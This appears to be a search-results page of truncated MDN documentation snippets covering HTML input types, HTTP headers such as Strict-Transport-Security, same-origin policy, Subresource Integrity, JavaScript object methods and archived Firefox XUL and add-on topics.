...e/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary. notes: download only works for same-origin urls, or the blob: and data: schemes. if content-disposition has a different filename than download, the header takes priority. (if content-disposition: inline, firefox prefers the header while chrome prefers download.) href the url that the hyperlink points to. links are not restricted...
...ownload only works for same-origin urls, or the blob: and data: schemes. if content-disposition has a different filename than download, the header takes priority. (if content-disposition: inline, firefox prefers the header while chrome prefers download.) href the url that the hyperlink points to. links are not restricted to http-based urls — they can use any url scheme supported by browsers: sections of a page with fragment urls pieces of media files with media fragments telephone numbers with tel: urls email addresses with mailto: urls while web browsers may not support other url schemes, web sites can with registerprotocolhandler() hreflang hints at the human language of the linked url. no built-in functionality. allowed values are the same as the global lang...
...And 4 more matches
<input type="file"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › file
input. files a filelist object that lists every selected file. this list has no more than one member unless the multiple attribute is specified. multiple when the multiple boolean attribute is specified, the file input allows the user to select more than one file. non-standard attributes in addition to the attributes listed above, the following non-standard attributes are available on some browsers. you should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them. attribute description webkitdirectory a boolean indicating whether or not to only allow the user to choose a directory (or directories, if multiple is also present) webkitdirectory the boolean webkitdire...
... the user to choose a directory (or directories, if multiple is also present) webkitdirectory the boolean webkitdirectory attribute, if present, indicates that only directories should be available to be selected by the user in the file picker interface. see htmlinputelement.webkitdirectory for additional details and examples. note: though originally implemented only for webkit-based browsers, webkitdirectory is also usable in microsoft edge as well as firefox 50 and later. however, even though it has relatively broad support, it is still not standard and should not be used unless you have no alternative. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each un...
...size the size of the file in bytes. type the file's mime type. webkitrelativepath a string specifying the file's path relative to the base directory selected in a directory picker (that is, a file picker in which the webkitdirectory attribute is set). this is non-standard and should be used with caution. note: you can set as well as get the value of htmlinputelement.files in all modern browsers; this was most recently added to firefox, in version 57 (see bug 1384030). limiting accepted file types often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. for example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such a...
...And 4 more matches
<input type="password"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › password
a symbol such as the asterisk ("*") or a dot ("•"). this character will vary depending on the user agent and os. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) s...
... example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. value a domstring representing a password, or empty events change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondir...
...ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users. with a pattern, you can mandate case rules, require the use of so...
...And 4 more matches
<input type="tel"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › tel
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. despite the fact that inputs of type tel are functionally identical to standard text inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient. note: browsers that don't support type tel fall back to being a standard text input. value a domstring representing a telephone number, or...
...ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see pattern validation below for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. it should be a word or short phrase that demonstr...
...e enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. using tel inputs telephone numbers are a very commonly collected type of data on the web. when creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. given how commonly-entered phone numbers are,...
...And 4 more matches
<input type="text"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › text
ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see specifying a pattern for further details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. it should be a word or short phrase that dem...
... setting or other factors. an input field can have spell checking enabled if it doesn't have the readonly attribute set and is not disabled. the value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting. non-standard attributes the following non-standard attributes are also available on some browsers. as a general rule, you should avoid using them unless it can't be helped. attribute description autocorrect a string indicating whether or not autocorrect is on or off. safari only. mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an ...
...e enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. using text inputs <input> elements of type text create basic, single-line inputs. you should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a date, url, email, or search term, you've got better options available).
...And 4 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
Web › HTML › Element › tbody
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the <tbody> element, along with its cousins <thead> and <tfoot>, provide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes. content categories none. permitted content zero or more <tr> elements. ...
...so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes. if this attribute is not set, the left value is assumed. as this attribute is deprecated, use the css text-align property instead. note: the equivalent text-align property for the align="char" is not implemented in any browsers yet. see the text-align's browser compatibility section for the <string> value. bgcolor the background color of the table. it is a 6-digit hexadecimal rgb code, prefixed by a '#'. one of the predefined color kewords can also be used. as this attribute is deprecated, use the css background-color property instead. char this attribute is used to set the character to align the ce...
...om. bottom, which will put the text as close to the bottom of the cell as it is possible; middle, which will center the text in the cell; and top, which will put the text as close to the top of the cell as it is possible. as this attribute is deprecated, use the css vertical-align property instead. usage notes if the table includes a <thead> block (to semantically identify header rows), the <tbody> block must come after it. if you use <tbody>, you can't also have table rows (<tr> elements) which are direct children of the <table> but not included inside the <tbody>. all non-header and non-footer rows must be inside the <tbody> if one is used. when printing a document, the <thead> and <tfoot> elements specify information that may be the same—or at least very similar—on ev...
...And 4 more matches
Configuring servers for Ogg media - HTTP
ze. serve media with the correct mime type *.ogg and *.ogv files containing video (possibly with an audio track as well, of course), should be served with the video/ogg mime type. *.oga and *.ogg files containing only audio should be served with the audio/ogg mime type. if you don't know whether the ogg file contains audio or video, you can serve it with the mime type application/ogg, and the browser will treat it as a video file. most servers don't by default serve ogg media with the correct mime types, so you'll likely need to add the appropriate configuration for this. for apache, you can add the following to your configuration: addtype audio/ogg .oga addtype video/ogg .ogv addtype application/ogg .ogg you can find specific information about possible media file types and the codecs ...
...retrieve the media from the seek target position. in addition, gecko uses byte-range requests to seek to the end of the media (assuming you serve the content-length header) in order to determine the duration of the media. your server should accept the accept-ranges: bytes http header if it can accept byte-range requests. it must return 206: partial content to all byte range requests; otherwise, browsers can't be sure you actually support byte range requests. your server must also return 206: partial content for the request range: bytes=0- as well. include regular key frames when the browser seeks through ogg media to a specified time, it has to seek to the nearest key frame before the seek target, then download and decode the video from there until the requested target time. the farther ap...
...me every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well. note: of course, the more key frames you use, the larger your video file is, so you may need to experiment a bit to get the right balance between file size and seek performance. consider using the preload attribute the html <audio> and <video> elements provide the preload attribute, which tells the browser to attempt to download the entire media when the page loads. without preload, the browser only downloads enough of the media to display the first video frame, and to determine the media's duration. preload is off by default, so if getting to video is the point of your web page, your users may appreciate it if you include preload in your video elements. using preload="metadata" will preload the...
...And 4 more matches
Strict-Transport-Security - HTTP
the http strict-transport-security response header (often abbreviated as hsts) lets a web site tell browsers that it should only be accessed using https, instead of using http. header type response header forbidden header name no syntax strict-transport-security: max-age=<expire-time> strict-transport-security: max-age=<expire-time>; includesubdomains strict-transport-security: max-age=<expire-time>; preload directives max-age=<expire-time> the time, in seconds, that the browser should remember that a site is only to be accessed using https. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload optional see preloading strict transport security for details. not part of th...
...lly communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. this creates an opportunity for a man-in-the-middle attack. the redirect could be exploited to direct visitors to a malicious site instead of the secure version of the original site. the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead. note: the strict-transport-security header is ignored by the browser when your site is accessed using http; this is because an attacker may intercept http connections and inject the header or remove it. when your site is accessed over https with no ...
...oad a site using http and should automatically convert all attempts to access the site using http to https requests instead. note: the strict-transport-security header is ignored by the browser when your site is accessed using http; this is because an attacker may intercept http connections and inject the header or remove it. when your site is accessed over https with no certificate errors, the browser knows your site is https capable and will honor the strict-transport-security header. an example scenario you log into a free wifi access point at an airport and start surfing the web, visiting your online banking service to check your balance and pay a couple of bills. unfortunately, the access point you're using is actually a hacker's laptop, and they're intercepting your original http requ...
...And 4 more matches
Object.defineProperty() - JavaScript
if the old descriptor had its configurable attribute set to false the property is said to be “non-con...
...fineproperty(o, 'a', { value: 37, writable: false }); console.log(o.a); // logs 37 o.a = 25; // no error thrown // (it would throw in strict mode, // even if the value had been the same) console.log(o.a); // logs 37. the assignment didn't work. // strict mode (function() { 'use strict'; var o = {}; object.defineproperty(o, 'b', { value: 2, writable: false }); o.b = 3; // throws typeerror: "b" is read-only return o.b; // returns 2 without the line above }()); as seen in the example, trying to write into the non-writable property doesn't change it but doesn't throw an error either. enumerable attribute the enumerable property attribute defines whether the property is picked by object.assign() or spread operator. for non-symbols properties it also defines whether it ...
...// 5 p[symbol.for('f')] // undefined configurable attribute the configurable attribute controls at the same time whether the property can be deleted from the object and whether its attributes (other than value and writable) can be changed. ...
...And 4 more matches
Comparing Reflect and Object methods - JavaScript
e if the property was defined on the object and false if it was not. defineproperties() object.defineproperties() returns the objects that were passed to the function. returns a typeerror if any properties were not successfully defined on the object. n/a set() n/a reflect.set() returns true if the property was set successfully on the object and false if it was not. throws a typeerror if the target was not an object. get() n/a reflect.get() returns the value of the property. throws a typeerror if the target was not an object. deleteproperty() n/a reflect.deleteproperty() returns true if the property was deleted from the object and false if it was not. getownpropertydescriptor() object.getownpropertydescriptor() returns a pr...
...rgument. getownpropertydescriptors() object.getownpropertydescriptors() returns an object containing a property descriptor of each passed-in object. returns an empty object if the passed-in object has no owned property descriptors. n/a getprototypeof() object.getprototypeof() returns the prototype of the given object. returns null if there are no inherited properties. ...
...ject has no owned property descriptors. n/a getprototypeof() object.getprototypeof() returns the prototype of the given object. returns null if there are no inherited properties. throws a typeerror for non-objects in es5, but coerces non-objects in es2015. reflect.getprototypeof() returns the prototype of the given object. returns null if there are no inherited properties, and throws a typeerror for non-objects. setprototypeof() object.setprototypeof() returns the object itself if its prototype was set successfully. throws a typeerror if the prototype being set was anything other than an object or null, or if the prototype for the object being modified is non-extensible. reflect.setprototypeof() returns true if the prototype was successfully set on the object ...
...And 4 more matches
Navigation and resource timings - Web Performance
navigation timings are metrics measuring a browser's document navigation events. resource timings are detailed network timing measurements regarding the loading of an application's resources. both provide the same read-only properties, but navigation timing measures the main document's timings whereas the resource timing provides the times for all the assets or resources called in by that main document and the resources' requested resources. the general performance timings below have been deprecated in favor of the performance entry api, which provides for marking and measuring times along the navigation and resource loading process. while deprecated, they are supported in all browsers. performance timings the performancetiming api, a javascript api for measuring the loading perform...
...it has been replaced with the performancenavigationtiming api. ...
...rformance timing api provides read only measurements of navigation timings. to view and capture our app's timing we enter: let time = window.performance.timing we can then use the results to measure how well our app is performing. the order is: performance timings details navigationstart when the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetchstart. secureconnectionstart when the secure connection handshake starts. if no such connection is requested, it returns 0. redirectstart when the first http redirect starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is...
...And 4 more matches
Same-origin policy - Web security
s if both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied. port ie doesn't include port into same-origin checks. therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied. these exceptions are nonstandard and unsupported in any other browser. changing origin a page may change its own origin, with some limitations. a script can set the value of document.domain to its current domain or a superdomain of its current domain. if set to a superdomain of the current domain, the shorter superdomain is used for same-origin checks. for example, assume a script from the document at http://store.company.com/dir/other.html executes the follow...
...page can pass the same-origin check with http://company.com/dir/page.html (assuming http://company.com/dir/page.html sets its document.domain to "company.com" to indicate that it wishes to allow that - see document.domain for more). however, company.com could not set document.domain to othercompany.com, since that is not a superdomain of company.com. the port number is checked separately by the browser. any call to document.domain, including document.domain = document.domain, causes the port number to be overwritten with null. therefore, one cannot make company.com:8080 talk to company.com by only setting document.domain = "company.com" in the first. it has to be set in both so their port numbers are both null. note: when using document.domain to allow a subdomain to access its parent secur...
...ity of an embedded resource. here are some examples of resources which may be embedded cross-origin: javascript with <script src="…"></script>. error details for syntax errors are only available for same-origin scripts. css applied with <link rel="stylesheet" href="…">. due to the relaxed syntax rules of css, cross-origin css requires a correct content-type header. restrictions vary by browser: internet explorer, firefox, chrome, safari (scroll down to cve-2010-0051) and opera. images displayed by <img>. media played by <video> and <audio>. external resources embedded with <object> and <embed>. fonts applied with @font-face. some browsers allow cross-origin fonts, others require same-origin. anything embedded by <iframe>. sites can use the x-frame-options header to prevent cross...
...And 4 more matches
Subresource Integrity - Web security
subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected manipulation. it works by allowing you to provide a cryptographic hash that a fetched resource must match. note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin. how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. h...
...n or web document fetches (from a cdn or anywhere) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files. using subresource integrity you use the subresource integrity feature by specifying a base64-encoded cryptographic hash of a resource (file) you’re telling the browser to fetch, in the value of the integrity attribute of any <script> or <link> element. an integrity value begins with at least one string, with each string including a prefix indicating a particular hash algorithm (currently the allowed prefixes are sha256, sha384, and sha512), followed by a dash, and ending with the actual base64-encoded hash. note: an integrity value may contain multiple has...
...to have valid hex characters in it — because xxd will also decode that and pass it to base64. additionally, the sri hash generator at https://www.srihash.org/ is an online tool you can use to generate sri hashes. cross-origin resource sharing and subresource integrity for subresource-integrity verification of a resource served from an origin other than the document in which it's embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin. therefore, the resource must be served with an access-control-allow-origin header that allows the resource to be shared with the requesting origin; for example: access-control-allow-origin: * examples in the following exampl...
...And 4 more matches
tabs - Archive of obsolete content
converting to x...
...uri: './style.css' }); var button = togglebutton({ id: "stylist", label: "stylist", icon: "./icon-16.png", onchange: function(state) { if (state.checked) { attach(style, tabs.activetab); } else { detach(style, tabs.activetab); } } }); private windows if your add-on has not opted into private browsing, then you won't see any tabs that are hosted by private browser windows. tabs hosted by private browser windows won't be seen if you enumerate the tabs module itself, and you won't receive any events for them. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. converting to xul tabs to convert from the high-level tab objects used in this ...
...d then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var tabs = require("sdk/tabs"); var tab_utils = require("sdk/tabs/utils"); function maphighleveltolowlevel(tab) { // get the xul tab that corresponds to this high-level tab var lowleveltab = viewfor(tab); // now we can, for example, access the tab's content directly var browser = tab_utils.getbrowserfortab(lowleveltab); console.log(browser.contentdocument.body.innerhtml); // get the high-level tab back from the xul tab var highleveltab = modelfor(lowleveltab); console.log(highleveltab.url); } tabs.on("ready", maphighleveltolowlevel); note that directly accessing xul objects and web content like this means you're no longer protected by the compatibility guar...
...And 3 more matches
Code snippets - Archive of obsolete content
sed to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations. miscellaneous miscellaneous useful code fragments html to dom using a hidden browser element to parse html to a window's dom javascript libraries here are some javascript libraries that may come in handy. stringview a library that implements a stringview view for javascript typed arrays. this lets you access data in typed arrays using c-like string functions. rosetta by default, the only possible standardized scripting language for html is ecmascript. hence, if you are...
...some javascript libraries that may come in handy. stringview a library that implements a stringview view for javascript typed arrays. this lets you access data in typed arrays using c-like string functions. rosetta by default, the only possible standardized scripting language for html is ecmascript. hence, if you are going to use another scripting language you might expect that most of the browsers will not recognize it. nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers). this snippets shows a poss...
...nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers). this snippets shows a possible way to start from. ...
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
t version of seamonkey, but it needs to be installed as an extension in firefox. see https://addons.mozilla.org/firefox/216/. install the extension in firefox directly from the above url and relaunch firefox. starting up select “javascript debugger” from the tools menu. targeting javascript for debugging. ...
...in firefox. see https://addons.mozilla.org/firefox/216/. install the extension in firefox directly from the above url and relaunch firefox. starting up select “javascript debugger” from the tools menu. targeting javascript for debugging. when venkman first launches, it can only debug the file currently open in your web browser. this is because a lot of javascript files can slow down the browser down if they’re opened for debugging, but you’ll need to lift this restriction in order to develop extensions. uncheck the “exclude browser files” menu item under the debug menu (figure 1). fixme: figure 1: uncheck “exclude browser files.” set up quicknote for the purposes of this explanation, we’re going to use the file-storage mechanism in quicknote1 for our debugger. install...
... getting started visit this url: http://mxr.mozilla.org . in the left-hand sidebar, you should see a link to a search starting point and a search form (figure 5). fixme...
...And 3 more matches
XUL user interfaces - Archive of obsolete content
this page illustrates mozilla's specialized language for creating user interfaces. you create a simple demonstration that runs in your mozilla browser. information: user interfaces although html has some support for user interfaces, it does not support all the features that you need to make a standalone application. mozilla overcomes this limitation by providing a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool"). in xul, many common user interface features are built in. for example, xul provides specialized windows like dialogs and wizards, as well as status bars, menus, tool bars, and even browsers. more specialized features can be built from parts by using xul together with other technologies that you have seen in this tuto...
....org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" oncommand="refresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day"...
...copy and paste the content from...
...And 3 more matches
Using content preferences - Archive of obsolete content
this makes it possible to write an extension that lets the user customize the appearance of specific web sites (setting the font size larger on sites that use obnoxiously small fonts, for instance). ...
.../developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo". prefservice.setpref(uri, "devmo.somesetting", "foo"); ... // retrieve the value of the "devmo.somesetting" preference. ...
...... // retrieve the value of the "devmo.somesetting" preference. var value = prefservice.getpref(uri, "devmo.somesetting"); built-in site-specific preferences preference name menu equivalent values notes browser.content.full-zoom view / zoom example: "1.10000002384186" (rounding variant of "1.1") related about:config preferences: browser.zoom.full boolean, set by the menu item view / zoom / zoom text only. despite the confusion in names, this preference is not site-specific. ...
...And 3 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
accessible folder -- classic is recommended -- extract the contents of that folder, being sure to maintain the directory structure. directories inside classic.jar is one directory, skin, as well as two files, preview.png and icon.png. skin skin simply contains another directory, classic which holds all the good stuff. skin\classic classic contains the following directories. skin\classic\browser browser contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window. skin\classic\communicator doesn't do a whole lot and can typically be forgotten about promptly. skin\classic\global global contains almost all of the important css files that define the appearance of the browser. this is the most critical directory in a theme. skin\classic\hel...
...tor doesn't do a whole lot and can typically be forgotten about promptly. skin\classic\global global contains almost all of the important css files that define the appearance of the browser. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. install your new theme before you can see the changes you make to a firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. co...
...rictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. so create a new directory called my_theme. into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files. (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files contents.rdf make a copy of contents.rdf, place it in \my_theme and open it up in your text editor. this file is a small xml database which is used to d...
...And 3 more matches
Menu - Archive of obsolete content
Archive › Mozilla › Jetpack › UI › Menu
note: this page documents the jetpack prototype, which has since been replaced by the add-on sdk. please see the wiki page and online documentation for more information on how to use the add-on sdk. jetpack's menu api allows features to access and modify the browser's built-in menus. features can also create new menus and attach them almost anywhere, chrome or content, as popup menus or context menus. two namespaces are associated with this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making new menus. the api is fairly comprehensive, so you may want to start by reading through some examples. because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.i...
...ools menu, for example. features meant for wide release should prefer jetpack.menu to the jetpack.menu.* menus because: firefox's menus are subject to change and in fact will be changing in firefox 3.7. by exposing functionality through jetpack.menu, a feature is guaranteed an easy transition. many users, especially those new to firefox, don't realize the distinction between add-ons and the browser itself. if a user forgets or is unable to tell whether a certain menuitem is part of firefox or provided by a feature, she does not know where to turn when she has problems with it. if many features' menus are local to one area, the user need not hunt and peck through many menus trying to find a particular item of a feature. no one likes it when add-ons clutter her tools menu willy-nilly. ...
...turn when she has problems with it. if many features' menus are local to one area, the user need not hunt and peck through many menus trying to find a particular item of a feature. no one likes it when add-ons clutter her tools menu willy-nilly. it's less code. (ok, slightly less.) this is only a recommended practice; developers are of course free to do as they wish. jetpack.menu.file the browser's file menu. a jetpack.menu object. jetpack.menu.edit the browser's edit menu. a jetpack.menu object. jetpack.menu.view the browser's view menu. a jetpack.menu object. jetpack.menu.history the browser's history menu. a jetpack.menu object. jetpack.menu.bookmarks the browser's bookmarks menu. a jetpack.menu object. jetpack.menu.tools the browser's tools menu. a jetpack.menu object. context menus...
...And 3 more matches
A XUL Bestiary - Archive of obsolete content
l and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul. chrome some of the most powerful and frequently misunderstood features of xul and the mozilla browser have to do with chrome. the term chrome is used in different contexts to mean different things. in general, chrome refers to a xul interface and all of its supporting files; chrome means the xul content and structure, plus the css skin, plus whatever localization and platform-specific files are part of that xul interface. by contrast, the skin is just the css and referenced graphics for a xul f...
... some chrome other than the default. when you invoke mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the previous example as a "stand-alone" chrome. this special option allows you to create and access chromes independent of the mozilla browser and begins to suggest some possibilities for xul-as-platform beyond the simple restyling of the browser. package a package is in some ways like a chrome, but it is specific to the mozilla architecture. a package is a chunk of interface code that sits in a particular place within mozilla's package hierarchy. like a chrome, that chunk usually contains xul content, css and graphic skin informati...
...seless, or invisible altogether), a xul.css file is loaded which provides some very basic presentational information for the widgets in the toolkit. so css is a lot of what makes xul xul, especially with the advent of css2 and its new positioning capabilities. skinning is most often brought up in the context of dynamic changes to the overall look of an application. though this is not yet in the browser, very soon it will be possible to change the look of a whole application dynamically, but only to the extent that the skin is actually defined in the main global.css, or global skin. when you create styles in <style> tags, as style attributes for individual elements, or in custom css files, you break the ability of gecko to skin the application to which your xul belongs. widgets widgets are t...
...And 3 more matches
Introduction to XUL - Archive of obsolete content
loaded from a separate ui description. in fact, most of mozilla's windows (and dialogs) will be described using this mechanism. xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built. ...
...ilt. window chrome is displayed and managed by the same layout engine that manages html content in the browser. ui descriptions, then, look a great deal like html 4. xul is an application of xml. in fact, it is just xml with specific meaning defined for a few element types, and into which html can be scattered. terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer. the intention is to build cross-platform applications like browsers and mail clients from a set of tools designed for that purpose. the intention is not to implement a generic cross-platform application framework. that's been done, and is a great deal of work. we intend to provide a subset of ...
... the term "cross-platform ui" is somewhat misleading. ui designers will be able to create ui descriptions which will work on multiple platforms. ...
...And 3 more matches
Building Trees - Archive of obsolete content
at call for this, typically when handling smaller amounts of data. however, the content builder becomes slower as the amount of data increases. apart from the flags attribute, the template syntax for the tree builder and the content builder are identical. however, the tree builder requires a very specific form to the action body. specifically, the action body should be a single treeitem with its rows and cells. here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treer...
...or a checkbox is determined by the type attribute on the column the cell is in. for cells in normal columns, you can use the value attribute to store some other value and you can use the view’s getcellvalue() method to retrieve it. naturally, this will retrieve the value after any variables have been substituted. besides the attributes mentioned above, any other attributes specified on the tree rows and cells are ignored. since no elements are generated, you won’t be able to retrieve the values for them either. thus, the value attribute may be useful to associate an additional value with a row since it will be easier to retrieve. the src attribute may be used to set an image to appear in a cell. for example: <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref=...
...<treerow> <treecell src="rdf:*"/> </treerow> </treeitem> </treechildren> </template> </tree> this tree displays each photo in the tree cells. in this case, the member resource is used since that holds the photo’s url. however, it could be any other variable, a static value, or a combination of both. ...
...And 3 more matches
Result Generation - Archive of obsolete content
« previousnext » rdf in this section, we'll look at generating template output using rdf datasources. first, however, some background. rdf, in mathematical terms, is a labeled directed graph. that means that rdf is a graph of nodes and arrows between them where each node and arrow has some label. since it's a graph, arrows can point all over the place and nodes can have any number of arrows pointing out of them and pointing at them. and also because it is a graph, there is no real starting point or root node so you can just start anywhere. in the picture below, you can see that node a at the top has arcs pointing to b, c and d. similarly, c has an arc pointing to d. you could have arcs pointing elsewhere--for example, node d could have an arc pointing back to a. to navigate ar...
...ph, there is no real starting point or root node so you can just start anywhere. in the picture below, you can see that node a at the top has arcs pointing to b, c and d. similarly, c has an arc pointing to d. you could have arcs pointing elsewhere--for example, node d could have an arc pointing back to a. to navigate around, you could start at node a and navigate around the graph following the arrows to b, c or d. or you could start at b and go to a and then go to c and d, etc. no requirement exists to follow the arrows in the direction they point; you can easily go the other way (though in only one direction within a given series of iterations). the picture was generated from the w3c's rdf validator, a good place to go to check if your rdf is valid. the text in red are the labels for the ar...
...here is one serialization of rdf/xml for this graph, though there are many others. ...
...And 3 more matches
Custom Tree Views - Archive of obsolete content
